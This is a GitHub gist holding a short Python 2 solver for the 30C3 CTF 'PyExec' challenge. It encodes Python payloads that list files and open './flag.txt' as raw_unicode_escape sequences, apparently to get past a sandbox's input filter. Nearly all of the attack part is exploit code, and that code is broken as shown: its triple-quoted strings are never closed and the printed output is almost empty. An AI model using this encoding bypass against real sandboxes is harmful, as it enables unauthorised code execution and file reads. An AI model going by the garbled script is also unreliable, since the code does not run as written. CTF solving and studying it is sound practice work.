Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
this is a solver code for the PyExec of 30C3 CTF.
#!/usr/bin/env python2
from binascii import hexlify,unhexlify
code1 = """
import os
print str(os.listdir('.'))
code2 = """
f = open('./flag.txt', 'r')
toRawUnicode = lambda x: '\u00'+hexlify(x)
data1 = "".join(map(toRawUnicode, list(code1)))
data2 = "".join(map(toRawUnicode, list(code2)))
print "# coding:raw_unicode_escape"
#print data1
print data2
# VVV output VVV
# coding:raw_unicode_escape
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.